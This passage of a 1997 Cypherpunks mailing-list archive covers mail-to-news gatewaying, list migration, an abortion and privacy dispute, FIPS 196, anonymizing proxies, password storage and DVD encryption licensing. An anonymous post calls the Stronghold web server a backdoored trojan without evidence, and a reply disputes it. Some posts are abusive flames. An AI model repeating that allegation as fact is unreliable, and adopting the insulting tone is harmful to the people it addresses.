>>   of the proper X-header, although I never trust various mailing systems
>>   to forward such intact.) The same could also be done with gatewaying
>>   _from_ Usenet - if the news2mail gateway feeds to whatever individual
>>   lists sign up to it and they _don't_ forward such messages to others,
>>   people can decide whether or not to receive Usenet postings on
>>   alt.cypherpunks.* by which list they subscribe to.

>The code currently running is a perl script that turns typical email
>messages into something INN is happy with.  It is probably possible to
>get your message rejected by INN if you put obsolete or otherwise
>unusual and illegal headers in.  This may be a bug.

	That would probably depend on: A. if any other circumstances
other than deliberately sabotaging your message's translation would
also disrupt its chances of getting through seriously, particularly
if they weren't something you'd spot; and B. if sufficiently bad
messages would disrupt INN's operations too much. You'd know a lot
more than I would in regard to the latter, and probably the former.
I was last a serious participant on USENET on a Vax running VMS
(via Bitnet, as a matter of fact... a while back).
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 18 Feb 1997 00:36:03 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
In-Reply-To: <199702180405.VAA14281@web.azstarnet.com>
Message-ID: <330969E1.4467@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> My dear fellow:
> I suppose you missed the notion that, on the Internet, *some* folks know
> that you are a dog.

If you, sir or madam, had 1/10 the brainpower that the most active
subscribers to this list have, you would:

1. Understand the subtleties I put forth (ditto Toto and Dr. V).
2. Be able to filter who you don't want to read.
3. Help other less fortunates like yourself to learn filtering.

It is you who pollute the list with worthless crap, which you falsely
interpret as criticism, but which is actually a poor excuse for
what you've failed to learn in life.

A pox on you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 18 Feb 1997 00:39:17 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
In-Reply-To: <199702180439.VAA24310@web.azstarnet.com>
Message-ID: <33096A9E.3163@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> 
> To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
> subscribed to a million and one lists that I never knew I needed (and so
> quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
> is going away *real * quick, so save your keystrokes.

My point has been proven once again!  Another spineless coward pollutes
the list with worthless criticism, and then slinks away from those s/he
attacks like a mangy coyote.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 18 Feb 1997 01:33:15 -0800 (PST)
To: das@razor.engr.sgi.com (Anil Das)
Subject: Re: Message-Id / mail2news gateways.
In-Reply-To: <9702172059.ZM3730@razor.engr.sgi.com>
Message-ID: <3.0.1.32.19970218012654.028e2708@law.uoregon.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:59 PM 2/17/97 -0800, Anil Das wrote:

>1) Please preserver Message-Ids while resending messages.

Yes, this is absolutely crucial if many different systems are going to
cooperatively deal with messages. Message-ID changing is very bad. I sent a
Perl script to Lance (copies to others on request) which can be easily used
as the target of an /etc/aliases entry to gate a mailing list into inews (and
thereby into INN) for processing as a netnews message. (The script preserves
Message-ID.) If we preserve Message-ID's, many sites can have local mail-news
gateways, and we won't (globally) see duplicates. 

>2) In response to Igor's query, I would very much like at least
>on of the distributed lists to be set up such that messages sent
>there will *not* be gatewayed to Usenet.

I don't think this is practical - as I understand things, the corpus (bolus?)
of messages will be available to all comers for their own projects, which may
include mail-news gateways, archives, filtered lists, and so forth(*). People
who send messages to the list shouldn't expect that they'll have any
"privacy" in information sent there. 

(* Modulo copyright, but apparently the industry standards for copyright
issues are:

1.	Ignore them and hope they go away
2.	Pretend to seize control over IP rights of everything posted

neither of which works very well or makes any sense, legally speaking.)

For what it's worth, the list has been gated to two public newsgroups -
albeit not in the Big 7 or alt. - for quite some time. If you think your name
isn't on Usenet, and you've been sending messages to the list, think again.


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Mon, 17 Feb 1997 17:42:45 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <199702180107.TAA10923@manifold.algebra.com>
Message-ID: <19970218014256.29119.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks-raw@nceye.net
   Date: Mon, 17 Feb 1997 19:07:25 -0600 (CST)
   Cc: cypherpunks@toad.com, wcampbel@peganet.com
   Reply-To: ichudov@algebra.com (Igor Chudov)
   From: ichudov@algebra.com (Igor Chudov @ home)
   X-No-Archive: yes
   Organization: Bool Sheet Software
   X-Mailer: ELM [version 2.4 PL24 ME7]
   Content-Type: text
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   Mark M. wrote:
   >  - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
   > 	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

   ... Along with several others.

   >  - The distributed list is still forming and so far consists of
   > 	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
   > 	do not know the location.  A mail<->news gateway is planned, but not
   > 	yet in place, between the distributed list and the newsgroup(s).

   It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
   reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
   newsserver offering several cypherpunks newsgroups.

   I am not yet sure if taz is now a part of the mainstream usenet, that 
   is, it may not be connected to the Big USENET.

It receives some Big Usenet groups, but only for local users.
alt.cypherpunks is open, but there will be long delays, on the
order of a day, for articles there (unless someone better connected to
Usenet wants to feed me alt.cypherpunks.*---any volunteers?).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Mon, 17 Feb 1997 23:54:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security alert!!!
Message-ID: <199702180754.XAA19557@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information (such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Tue, 18 Feb 1997 00:12:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security alert!!!
Message-ID: <199702180812.AAA20386@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information (such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Mon, 17 Feb 1997 20:24:04 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <01IFJFI7LF848Y4YVV@mbcl.rutgers.edu>
Message-ID: <19970218042417.32658.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Mon, 17 Feb 1997 22:55 EDT
   From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>



	   Well, Lance Cottrell would appear to be a good person to ask
   on this matter, but...

   >I just set up a recipe for using mail2news gateways like this:

   >:0 c
   >| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
   >	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

   >Any objections?

   given that mail2news@anon.lcs.mit.edu gets one of its USENET feeds via
   cyberpass.net, it would appear to be unnecessary if this recipe is in
   use. However, I do have one problem with this recipe: lack of
   loop prevention if a news2mail gateway is going in the other direction.

All the mailing-list hosts are supposed to check for duplicates before
forwarding anything, so this shouldn't do anything worse than have a
few extra copies of each post get discarded, loading the network and
the hosts a bit more.  But posting the list to a widely-distributed
newsgroup seems wrong for noise (both to the list itself and to
posters) and delay reasons.

    (I've crossposted this message to the remailer-operators
   mailing list to make sure it gets to the operators of the gateways in
   question.)



   In regards to your later query about whether people want their postings
   going to Usenet, might I suggest that this be individual to the given
   distributed mailing list? In other words, since the recipe is logically
   going to have to not forward to a gateway messages from other mailing
   lists (since it's not a good idea to have multiple copies of the same
   message arriving at the gateway if it can be helped; better to filter
   it out beforehand),

It doesn't seem an especially bad idea, since it 

   some of the mailing lists can forward and the
   others cannot. (One could even determine this behavior on application
   of the proper X-header, although I never trust various mailing systems
   to forward such intact.) The same could also be done with gatewaying
   _from_ Usenet - if the news2mail gateway feeds to whatever individual
   lists sign up to it and they _don't_ forward such messages to others,
   people can decide whether or not to receive Usenet postings on
   alt.cypherpunks.* by which list they subscribe to.
	   -Allen

   P.S. A thank you to Reece for setting up a gateway; I had looked
   at the program and did _not_ much like the idea of having to
   maintain it on my limited knowledge of C/C++ and mailing
   software.

The code currently running is a perl script that turns typical email
messages into something INN is happy with.  It is probably possible to
get your message rejected by INN if you put obsolete or otherwise
unusual and illegal headers in.  This may be a bug.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 18 Feb 1997 01:44:39 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Security alert!!!
In-Reply-To: <199702180812.AAA20386@sirius.infonex.com>
Message-ID: <0n2LbN200YUe0Bfzc0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

winsock@rigel.cyberpass.net (WinSock Remailer) writes:
> WARNING: There's a rogue trojan horse out there on the internet known as the
> "stronghold web server".  It's actually a hacked-up version of Apache with a
> backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
> card numbers and other confidentil information on the Internet.
> 
> Be careful! Always use encryption. Do not send confidential information (such
> as passwords and credit card numbers) to any site running the trojan horse
> "stronghold". 
> 
> In general, beware of "snake oil" security products and hacked-up versions of
> free software.

ObTheSolutionToBadSpeechIsMoreSpeech:
Please provide evidence for your wild claims. You have no reputation
capital, the makers of Stronghold have quite a bit, in my mind.
(Except maybe in their moderation policies :-) I do not belive your
claims for a minute. Again, please provide a description of the
exploit or source code that compiles into a binary identical to that
in the Stronghold distribution as evidence of your claims. Alternatly,
crawl back in to your hole and die.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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abONhhlYeLF+cDDpZTJIENWzhN4hhzpE
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 18 Feb 1997 03:45:13 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Cypherpunks FAQ
In-Reply-To: <330901F3.750E@gte.net>
Message-ID: <Pine.LNX.3.95.970218064353.20413B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Feb 1997, Dale Thorn wrote:

> Date: Mon, 17 Feb 1997 17:12:19 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: cypherpunks@toad.com
> Subject: Re: Cypherpunks FAQ
> 
> Toto wrote:
> > ISP_Ratings wrote:
> > >   Yes--and given the role Dr. Vulis has played in this matter
> > > it would be most appropriate for him to write an FAQ (although
> > > I personally ignore most FAQs).
> 
> >Perhaps it would be more appropriate for the good doctor to write a FUQs.
> 
> Why not do it like the Declaration of Independence?  A primary author
> puts the basic document together, and other persons with expertise in
> other important areas add to it, then it gets circulated on the list
> for comments and suggestions.
> 
> "Other areas" not normally addressed in these kinds of documents
> should include subscribers' awareness that the crypto lists are
> a prime target of attention from federal agencies, et al, and
> that much of the material posted could be pure disinformation.
> 

I do not think that any Federal Agency would be interested in any
group so undisciplined as cypherpunks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Feb 1997 04:32:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: FIPS 196
Message-ID: <1.5.4.32.19970218122630.006e144c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


NIST announced in the Federal Register today "that the Secretary 
of Commerce has approved a new standard, which will be published 
as FIPS Publication 196, Entity Authentication Using Public Key 
Cryptography."

   http://jya.com/fips196.txt  (12K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: edgarswank@juno.com (Edgar W Swank)
Date: Tue, 18 Feb 1997 07:38:09 -0800 (PST)
To: Cypherpunks          <cypherpunks@toad.com>
Subject: Any more like www.anonymizer.com ??
Message-ID: <19970218.073526.2862.2.edgarswank@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have a list of web proxies for anonymous surfing?

I already know about www.anonymizer.com, and there was a
"canadianizer" that would alter text to make it more "Canadian",
but that is now apparently defunct.

Reason I need to know, a friend in a foreign country has to deal
with a web proxy that blocks "objectionable" sites including
www.anonymizer, so some alternates that might not be blocked
would be welcome.

Edgar W. Swank   <EdgarSwank@Juno.com>
                 (preferred)
Edgar W. Swank   <Edgar_W._Swank@ilanet.org>
                 (for files/msgs >50K)
Home Page: http://members.tripod.com/~EdgarS/index.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Feb 1997 06:57:00 -0800 (PST)
To: drose@azstarnet.com
Subject: Drose / You're a fucking idiot!
In-Reply-To: <199702180439.VAA24310@web.azstarnet.com>
Message-ID: <3309D570.4148@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being
> subscribed to a million and one lists that I never knew I needed (and so
> quick!--appreciate the service, dude)  this address, like c-punks@toad.com,
> is going away *real * quick, so save your keystrokes.

  I generally try to be fairly civil in my postings, and refrain from
personal insults, but I will make an exception, here.
  So listen up, shit-for-brains, and I will try to explain a few concepts
that you seem to be too dim-witted to understand.

  I am a CypherPunk.
  I have a <Delete> key, and I know how to use it.
  When my personal account is subjected to spam-attacks and unwanted
subscriptions to a multitude of lists, I deal with it. I don't make
baseless accusations against others based on their perceived public
reputation, or my own subjective perception of their reputation
capital.

  I am not just a CypherPunk, I am also an adult.
  I take responsibility for my own actions, and I keep those actions
within the bounds of what I perceive to be acceptable ethics and
personal integrity.
  If you think that I am responsible for this-or-that action in regard
to yourself, then all you have to do is ask me, and I will tell you. I
don't make any bones about my beliefs and views, and I don't have any
problem with others opposing my beliefs and views.
  When I launch an attack on someone, right or wrong, it is a frontal
assault, not a hidden one. When I post anonymously to the list, or
send anonymous email, I do not use remailers, in order that anyone
with the will and wit to do so may easily discern my pseudonyms through
the headers and use of the 'trace' command.

  If you think that I am the source of your problems, then you are a
fucking idiot.
  I have no idea who you are, and can only vaguely recall the content
or context of your past posts to the list. As such, I would certainly
have little motivation for lifting even my little pinkie against you
in a conspiratorial attack on you.
  I would suggest that the only 'fixations' involved between you and
myself are coming from your end of the electromagnetic spectrum. I would
also suggest that you get your head out of your electromagnetic rectum.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 18 Feb 1997 08:16:01 -0800 (PST)
To: Alan Barrett <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <19970218141819.28530.qmail@taz.nceye.net>
Message-ID: <v03007800af2f876176ce@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:35 PM +0200 2/18/97, Alan Barrett wrote:
>On 18 Feb 1997, Bryan Reece wrote:
>> Filtering out other gateways' messages will reduce load at
>> the possible expense of delay (assuming a smallish network of news
>> servers that feed each other the list; obviously the message will
>> flood the majordomo net before it floods the real usenet unless
>> something is seriously broken).
>
>Why is it obvious that mail propagation will be faster than news
>propagation?  News propagation times of small numbers of seconds are not
>at all uncommon.

News propagation in seconds to your _local server_, or to _distant_
servers? Articles I post do indeed appear "immediately" on my local site,
but certainly not so immediately on distant sites.

The Usenet is thousands of news servers, maybe tens of thousands, and news
feeds take a while...small articles are mixed in with hundreds of megabytes
a day of binaries. A percolation process, as opposed to a point-to-point
process for e-mail.

And I know that my site sometimes does not see articles for tens of hours,
even days, after the initial act of distribution. (Sometimes articles
appear more than a week late...presumably they've been lost to mu site on
some railroad siding someplace.)

This is why people say "News is slower than mail."

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 18 Feb 1997 09:33:18 -0800 (PST)
To: Vin McLellan <tcmay@got.net
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702181541.HAA06067@toad.com>
Message-ID: <v03101601af2f9708b712@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain


>>(And I always thought the "woman's right to privacy" argument for abortion
>>was flaky. Accepting such an argument, wouldn't infanticide be equally
>>protected by a woman's right to privacy?)
>>
>>--Tim May
>
>	Whoa! This begs a thoughful response, but I don't have time right
>now.  Might it suffice to suggest that a privacy claim -- a demand for
>control over what concerns her, her alone, or (on balance) her more than
>any other -- seems reasonable to extend to both contraception and early
>abortion?  For many of us, by the same logic, and with the same moral
>comfort.
>
[ more discussion of abortion snippped. ]
>	To my mind, any attempt to control what is done to the woman's body
>(by her choice) while the prospective child is but a bit of enhanced
>potential, much much less than a viable child, is an unconstitutional and
>morally-invalid attempt by others (the state, the church, the country club)
>to pre-empt her will, and prescribe or dictate a wholly new value system
>for her.
>
>         Vin McLellan + The Privacy Guild + <vin@shore.net>
>      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548

Let's not start this.

Tim wasn't arguing for or against abortion; he made no comments
about abortion. His comment was that the _argument_ used to "legalize"
abortion was unconvincing to him.

If we are going to discuss privacy, that's fine.
It we are going to discuss abortion, there are better fora.


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Japhy Ryder <japhy@enteract.com>
Date: Tue, 18 Feb 1997 07:55:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: ##$!@#$#@!$#
Message-ID: <199702181555.JAA20595@enteract.com>
MIME-Version: 1.0
Content-Type: text



cual es la fecha?

czesc, tak mal na dodjze kajka....



-- 



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 18 Feb 1997 07:06:09 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702172056.MAA13555@toad.com>
Message-ID: <v03007800af2f62a4e7fd@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



>(And I always thought the "woman's right to privacy" argument for abortion
>was flaky. Accepting such an argument, wouldn't infanticide be equally
>protected by a woman's right to privacy?)
>
>--Tim May

	Whoa! This begs a thoughful response, but I don't have time right
now.  Might it suffice to suggest that a privacy claim -- a demand for
control over what concerns her, her alone, or (on balance) her more than
any other -- seems reasonable to extend to both contraception and early
abortion?  For many of us, by the same logic, and with the same moral
comfort.

	(As the clock slips onward, and the potential viability of the
fetus becomes more likely or certain, I personally believe the woman no
longer exists alone, and the privacy argument becomes conflicted and more
tenuous.   But Tim's golem, Infanticide, is a creature of nightmare --
wholly beyond the pale!)

	To my mind, any attempt to control what is done to the woman's body
(by her choice) while the prospective child is but a bit of enhanced
potential, much much less than a viable child, is an unconstitutional and
morally-invalid attempt by others (the state, the church, the country club)
to pre-empt her will, and prescribe or dictate a wholly new value system
for her.

	Any claim (by the father, the state, the church, etc.) to control
what happens in the moments or days after conception (say, forbidding
RU-whatever, the French drug,) has no more moral authority than any similar
claim to Higher Authority -- to safeguard the potential within her --
which is used to forbid his or her the use of a contraceptive, or which
requires him or her to take a drug which makes multiple pregnancies more
likely.

	I always thought the Jesuits had the logical argument straight.  If
the woman has no inherent right to control her destiny in the languid
aftermath of intercourse (just because she has within herself the potential
of a new life) then she has no claim to self-possession which allows her to
use a contraceptive just before intercourse.  If it is the potential for
new life that allows external authorities to overwhelm her judgment and
violate her privacy, then the case for that Papal Judgement exists before,
during, and after sex.

	Problem is: while logical, the Catholic argument seems silly,
authoritarian, and hopelessly abstract in the face of what many of us
experience as a less dogmatic and vastly more human context. A context in
which the right to privacy or self-possession seems inherent in the people
we are, the people we know, the world as we live it.  (Jesuits have a
certain disadvantage, from this POV;-)

	The fact that this claim of privacy or self-possession apparently
has an echo in the US Constitution (that oh, so-prescient document!) -- and
in the libertarian/liberal proclamations of numerous other nation states --
is a validation, a confirmation... but the Right of privacy, the Claim, is
inherent in our sense of who we are, and our sense of what an individual
is.

	If the philosophers had not considered it in their musings, we
would have to fight harder; we would need to define it as well as defend it
-- but it can only be denied if we denied ourselves, as the serfs of the
Dark Ages were expected to... and did.

	Women as vessels.  Men as vassals.

	Suerte,
		_Vin

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 18 Feb 1997 07:21:48 -0800 (PST)
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Raph
Message-ID: <3.0.1.32.19970218102257.006c3a48@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I have found it convenient to retrieve Raph's list off c'punks, as opposed to
fingering. I do hope this service to the community will continue on one forum
or another.

Thanks.

Alec

 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 18 Feb 1997 08:15:22 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: alt.cypherpunks.ebonics
Message-ID: <3.0.1.32.19970218111658.006c4174@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Igor,

A friend, who, in the CP tradition requested to remain anonymous, and I were
doing an informal analysis of those subjects/topics which over the past year
generated the most discussion and, by implication, interest on the CP list.
Since the list at that time was reportedly unmoderated, we felt some weight
should be given to members' interests/desires as measured by their posts,
regardless of the applicability to the list topic.

With the exceptions of AP (oh so clearly way off-topic), list censorship (too
tedious),  and remarks either questioning or affirming the
sexuality/virility/femininity (or lack thereof ) of almost every CP
subscriber, the topic which claimed the most bandwidth was Ebonics. It seemed
to touch on several layers of CP interest: freedom of speech, obfuscation,
tolerance, intolerance, phonetics, linguistics, race warfare,  etc. You name
it; just about every well-known c'punk jumped in to make some urbane
statement on this, sadly, now dead and  ignored issue. Nevertheless, the
bandwidth was there!  

Note; any messages followed by Punctuation Art were excluded if they seemed
to lack "dignity," for want of a better word.

Based on the above stats (available from my friend on request), my anonymous
friend and I request that you add Ebonics as an area of interest to
Cypherpunks in your List Intro.

Please judge this request on its merit and not on what you may think of me or
my anonymous (asexual) friend personally, thereby, by that very action,
initiating a New Order of Cypherpunks!

Thanks for you consideration.

More importantly, thank you for helping to keep this vibrant list alive.

Alec (and friend)
-----BEGIN PGP SIGNATURE-----
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99KkC39DzAe+/zHrOR2Kt7MK+X8267oCIWl4Yt1VBkCSt8ruktCnIXF41ghyuHUt
3N7reRPx6Hs=
=EMeF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Tue, 18 Feb 1997 08:30:01 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
In-Reply-To: <85595791717269@cs26.cs.auckland.ac.nz>
Message-ID: <199702181629.LAA10709@waterville.openmarket.com>
MIME-Version: 1.0
Content-Type: text/plain



    These chips look *very* promising.  Who needs Clipper, or HP's
    Clipper-under-another-name, when you can get triple DES from
    the free world at prices like this?

The critical thing is to get the horse out of
the barn before the door is barred.  Each and
every one of these sorts of vendors has to establish
use and distribution on a wide basis before governments
of any stripe start locking down on domestic use.  There
is little time and, yes, I am a paranoid who hopes thereby
to survive.

--dan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed.Falk@Eng.Sun.COM (Ed Falk)
Date: Tue, 18 Feb 1997 11:41:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting question: how to safely keep passwords online
Message-ID: <199702181940.LAA24732@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



Here's a question that's been on my mind lately:  Often, you like
to keep external passwords stored on your personal computer.  As a quick
example, Eudora will remember your POP password for you so you don't
have to enter it every time.  Obviously, Eudora keeps this on disk
somewhere.

The question is: is there any (relatively) safe way to do this?  Obviously,
Eudora encrypt the saved password with some secret key, but this key could
probably be found by examining the code.  A slight improvement would
be for Eudora to generate an encryption key on the fly based on some
external system state, but this is also susceptible to reverse-engineering.

	-ed falk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 18 Feb 1997 12:22:18 -0800 (PST)
To: Vin McLellan <mclow@owl.csusm.edu>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702181951.OAA12558@relay1.shore.net>
Message-ID: <v03007803af2fc071dec3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:51 PM -0500 2/18/97, Vin McLellan wrote:
>      Marshall Clow wrote:
>
>>Let's not start this.... <snip>
>
>>If we are going to discuss privacy, that's fine.
>>It we are going to discuss abortion, there are better fora.
>
>          Right, Marshall. I was attempting to respond directly to Tim's
>comment, but I too have no desire to let the end of C'punks be yet another
>sinkhole Abortion Debate.  Foil at guard.  I'll subside and let any riptide
>response roll over me;-).

Then why did you begin an abortion debate?

I made no claims one way or another about abortion, but cited the issue as
the main place the "right to privacy" issue has come to the fore. And I
said I found the argument uncompelling. I did not say I was against
abortion, for abortion, or, for that matter, for or against infanticide.

>        (Jeeze! Anyone else feel like these are the Final Days, like when a
>company goes bankrupt, or graduation day or the like??  I hope one of these
>C'punkish alternatives will provide an opportunity for some of the same
>thoughtful and stimulating engagements that toad.com hosted.)

Unsurprisingly, I've gotten some of the messages from folks I often get
when people dislike some post I've made. They go like this:

"Tim, I really like some of your posts. But, Jeez, give it a rest on
foobar! Can't you go back to writing about lahdidah?"

In other words, the reader wishes I would write only about what he or she
is interested in. Well, pay me my consulting rate and I'll do just that.

I've written many thousands of articles over the past 4.5 years...some of
them very long articles, some very short, most of medium length. (I despise
one-line repartee, and I'm glad our list has never fallen into this mode as
so many other lists have.)

I write about what I find interesting. You all know where the Delete key is.

(Of course, a fairly large fraction of my recent posts have been deleted
for you by Sandy, who sends many of my posts to neither the Main list nor
the Flames list. Bet a lot of you didn't know this, did you?)

--Tim May



>       Respect to all, pro-choice and pro-life,
>
>                _Vin


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Tue, 18 Feb 1997 13:15:46 -0800 (PST)
To: cryptography@c2.net
Subject: Why Digital Video Disks are late to market
Message-ID: <v03010d08af2fc4dd4c35@[17.219.102.16]>
MIME-Version: 1.0
Content-Type: text/plain



http://techweb.cmp.com/eet/news/97/942news/encryp.html

To summarize, the Digital Video Disk standard contains an encryption
standard for copyright and anti-piracy protection. however, "some U.S.
PC and silicon vendors have just about abandoned hope of keeping to
their revised launch schedules for DVD-enabled systems."

... as far as anybody knows, "none of the U.S. PC vendors today has a license
to use the DVD-decryption algorithm" in software.

"We all know the situation; we don't have a license," said Michael
Moradzadeh, program manager of Intel's copy-protection task force.

A solution may be in the offing within days. Some sources said late last
week that Matsushita [who owns license rights] and key U.S. computer
companies may resolve the software-licensing issues by the end of this
week. The PC industry seeks amendments to the licensing-agreement language
that would result in equivalent treatment of software- and hardware-based
CSS decryption.

... there apparently has been some speculation among the U.S. PC community
that Matsushita may be stonewalling on the software-licensing issue so that
it can establish its hardware-based decryption solution in the marketplace.

---

